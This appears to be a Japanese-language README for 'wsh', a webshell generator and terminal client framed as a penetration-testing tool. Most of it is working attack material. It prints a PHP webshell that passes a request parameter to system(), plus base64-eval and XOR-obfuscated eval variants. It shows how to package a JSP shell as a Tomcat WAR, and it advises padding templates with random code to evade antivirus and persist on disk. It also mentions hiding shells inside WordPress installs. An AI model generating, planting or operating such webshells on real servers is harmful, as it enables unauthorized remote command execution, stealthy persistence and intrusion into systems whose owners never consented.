
wsh(ウーシュと発音)は、ウェブシェル生成ツールおよびコマンドラインインターフェースです。これは、ウェブシェルとの対話が面倒だったことから、単なるHTTPクライアントとして始まりました。フォームがあり、コマンドを送信するには入力ボックスにタイプしてボタンを押さなければなりません。私はもっと自分のワークフローに合い、ターミナルで動作するものを欲しがっていました。こうしてwshが生まれました。
クライアントはコマンド履歴、ログ記録を備え、以前に展開されたフォーム/ボタン付きの標準ウェブシェルと対話するように設定できます。ジェネレーターはPHP、ASP、JSPのウェブシェルを作成します。それらはランダムな変数で生成されるため、それぞれ一意のハッシュを持ちます。ホワイトリスト、パスワードを設定でき、カスタムヘッダーやパラメーターを介してコマンドを送信できます。ジェネレーターとクライアントはコマンドラインフラグまたは設定ファイルで設定でき、私が「--helpダンス」と呼ぶことをせずに、自分に合った設定を保存できます。一度設定すれば、クライアントとジェネレーターは同じ設定ファイルを使用します。
wsh <URL> [flags]
-X, --method string HTTP method: GET, POST, PUT, PATCH, DELETE (default "GET")
--param string Parameter for sending command
--header string Header for sending command
-P, --params strings HTTP request parameters
-H, --headers strings HTTP request headers
-c, --config string Config file
-k, --ignore-ssl Ignore invalid certs
--log string Log file
--prefix string Prepend command: 'cmd /c', 'powershell.exe', 'bash'
--timeout int Request timeout in seconds (default 10)
--trim-prefix string Trim output prefix
--trim-suffix string Trim output suffix
-h, --help help for wsh
wsh generate <language> [flags]
wsh g <language> [flags]
-X, --method string HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string Parameter for sending command
--header string Header for sending command
-w, --whitelist strings IP addresses to whitelist
-o, --outfile string Output file
--no-file Disable file upload/download capabilities
--pass string Password protect shell
--pass-header string Header for sending password
--pass-param string Parameter for sending password
--xor-header string Header for sending xor key
--xor-key string Key for xor encryption
--xor-param string Parameter for sending xor key
--base64 Base64 encode shell
--minify Minify webshell code
-t, --template string Webshell template file
-h, --help help for generate
クライアントを言語に依存しないものにしたかったので、すべてのウェブシェルは同じアップロード/ダウンロードロジックを実装する必要がありました。残念ながら、JSPやクラシックASPでマルチパートフォームアップロードをネイティブに行うのは面倒なため、ファイルはパラメーター内のBase64としてアップロードされます。これは理想的ではなく、最大ファイルアップロードサイズは最大パラメーターサイズに制限されます。将来的にはマルチパートフォームアップロードを実装するか、複数のリクエストを送信して大きなファイルを転送するかもしれません。
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath] Download file
put <local filepath> [remote filepath] Upload file
clear Clear screen
exit Exits shell
以下のコマンドは簡単なPHPウェブシェルを生成し、対話します。
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
$MfOb = $_REQUEST['cmd'];
$MfOb = trim($MfOb);
system($MfOb);
die;
?>
コマンドはHTTPヘッダーを介して送信することもできます。
$ wsh generate php --no-file --header user-agent -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
パスワードはパラメーターまたはヘッダーを介して送信できます。
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t
この機能は興味深いですが、有用にするにはテンプレートの修正が必要かもしれません。ASPやJSPの場合、base64デコードを容易にするライブラリは既知のIOCであり、フラグが立てられます。これらの機能を使用したい場合は、テンプレートを修正して難読化することをお勧めします。
パスワード保護と同様に、XORキーはパラメーターまたはヘッダーを介して送信できます。
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>
$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
$oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
}
}
eval($oooqt);
?>
Tomcatにデプロイできるウェブシェルを生成するには、index.jspという名前のJSPシェルを作成し、以下のコマンドを実行してwarファイルにzipします。
場合によっては、Tomcat環境にファイルアップロード/ダウンロードに必要なライブラリがなく、リクエスト時にシェルがエラーになることがあります。これを修正するには、--no-fileフラグを使用してください。
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp
Goテンプレートライブラリを使用することで、ジェネレーターに多くの柔軟性が追加されます。時折ウェブシェルがAVに検出されることがありますが、テンプレートファイルに大量のランダムコードを追加することで、シェルが無害に見えてディスク上に永続化できることがよくあります。例として templates/covert-php.tml ファイルに含めています。
さらに、ペネトレーションテストのユースケースでの帰属のために、これらのテンプレートを修正して自分の名前や連絡先情報を含めることができます。
プレフィックスを指定すると、シェルに送信する各コマンドの前に文字列を付加できます。これを使用して、通常のcmdシェルをPowershellシェルに変換できます。
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2020 11:49 PM config
d----- 5/27/2020 11:49 PM en
d----- 5/28/2020 12:25 AM en-US
-a---- 5/27/2020 11:49 PM 119808 appcmd.exe
ログにはタイムスタンプが付けられ、対話中のホストが含まれます。ログファイルは追記されるため、複数のセッション/ホストで同じログファイルを使用しても問題ありません。
127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...
[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs
クライアントはリクエストから不要なHTMLコンテンツをトリムするように設定できます。これは標準のHTMLインターフェースウェブシェルと対話する場合や、生成されたシェルがWordPressインストールにこっそり埋め込まれている場合に便利です。
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre>
README.md
cmd
example-configs
index.php
main.go
templates
</pre>
</div>
. . .
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates